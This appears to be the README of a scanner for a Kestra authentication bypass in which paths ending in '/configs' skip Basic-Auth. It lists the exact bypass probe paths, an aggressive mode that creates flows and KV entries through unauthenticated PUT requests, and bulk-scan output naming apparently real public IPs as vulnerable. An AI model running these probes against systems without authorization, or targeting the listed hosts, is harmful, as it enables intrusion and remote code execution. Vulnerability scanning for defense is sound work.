Share
## https://sploitus.com/exploit?id=47950A77-F41D-5310-A96F-B4B94D1E4D2F
# Kestra CVE-2026-49869 / CVE-2026-53576 Scanner

Scans Kestra instances for the `endsWith("/configs")` authentication filter bypass. Kestra's `AuthenticationFilter.java` checks `request.getPath().endsWith("/configs")` instead of matching the exact path `/api/v1/configs`. Since Kestra addresses resources via caller-chosen path segments (namespace, flow ID), any path ending in `/configs` bypasses Basic-Auth enabling unauthenticated flow creation and RCE. (CVSS 10.0)

**References:** [GHSA-5vc5-wxxq-3fjx](https://github.com/kestra-io/kestra/security/advisories/GHSA-5vc5-wxxq-3fjx) · [TP-2026-009](https://turingpoint.de/en/advisories/tp-2026-009/) · [CVE-2026-49869](https://vulners.com/cve/CVE-2026-49869) · [CVE-2026-53576](https://vulners.com/cve/CVE-2026-53576)

## Detection Logic

1. **Liveness check** `GET /api/v1/configs` (must return 200 to proceed)
2. **Auth check** `GET /api/v1/{tenant}/flows` (should return 401/403 if auth is enforced)
3. **Bypass probes** 5 GET requests to paths ending in `/configs`; if any returns non-401/403 while the auth check enforces, the instance is vulnerable
4. **Aggressive mode** (`--aggressive`) also sends PUT requests to confirm write-bypass ability

### Probe Endpoints

| Probe | Method | Path |
|---|---|---|
| Flows | GET | `/api/v1/{tenant}/flows/{namespace}/configs` |
| Executions | GET | `/api/v1/{tenant}/executions/{namespace}/configs` |
| KV store | GET | `/api/v1/{tenant}/namespaces/{namespace}/kv/configs` |
| Dashboards | GET | `/api/v1/{tenant}/dashboards/configs` |
| Logs | GET | `/api/v1/{tenant}/logs/{namespace}/configs` |
| Flows PUT | PUT | same as Flows (creates a minimal flow) |
| KV PUT | PUT | same as KV (creates a KV entry) |

## Usage

```bash
# Single target
python main.py http://target:8080

# With explicit port (skips auto-expand)
python main.py http://10.0.0.1:8080

# Bulk scan
python main.py -f targets.txt

# Bulk scan with JSON output
python main.py -f targets.txt -j -o report.json

# Aggressive mode (PUT probes)
python main.py -f targets.txt --aggressive

# Custom tenant (older Kestra uses "default")
python main.py http://target:8080 --tenant default

# Custom thread count
python main.py -f targets.txt --workers 20

# Custom auto-ports
python main.py -f targets.txt --auto-ports 8080 9090

# Verify TLS
python main.py https://kestra.example.com --verify-ssl
```

### Input File Format

```
# Comment lines ignored
103.112.186.15:8080
http://103.112.186.15:8080/ui/
https://kestra.example.com
103.112.186.24           # No port → auto-expanded across common ports
```

Lines without a port are auto-expanded across `[8080, 8081, 8088, 8091, 80, 443]`.

## Output

### Single Target

Full per-probe breakdown with verdict:

```
====================================================================
  Target:    http://10.0.0.1:8080
  Timestamp: 2026-06-30T12:00:00+00:00
====================================================================

  [Flows Bypass]
    URL:         http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
    Status:       200
    Bypass:      YES

  [Exec Bypass]
    URL:         http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
    Status:       404
    Bypass:      No

  ...

  [VULN]  Verdict: VULNERABLE ...
```

### Bulk Summary

Sorted columnar table (vulnerable first, then inconclusive, then safe):

```
====================================================================================================================
  BULK SCAN SUMMARY   GHSA-5vc5-wxxq-3fjx
====================================================================================================================
  #    Target                              Auth    Flows    Exec     KV      Dash    Logs    Status
  ----------------------------------------------------------------------------------------------------
  1    http://173.249.1.26:8080            401     404      ERR      ERR     ERR     405     VULNERABLE
  2    http://207.180.207.199:8080         401     404      ERR      ERR     ERR     405     VULNERABLE
  ...
  30   http://103.115.65.228:8080          401     401      ERR      401     ERR     401     SAFE
  ...
====================================================================================================================
  Total: 258  |  Vulnerable: 5  |  Safe: 29  |  Inconclusive: 224
====================================================================================================================
```

Exit codes: `0` = no vulns, `1` = vuln found, `2` = all inconclusive.

## Installation

Requires Python 3.10+.

```bash
pip install -r requirements.txt
python main.py --help
```

## Disclaimer

For **authorized defensive testing only**. Always obtain proper written authorization before scanning systems you do not own.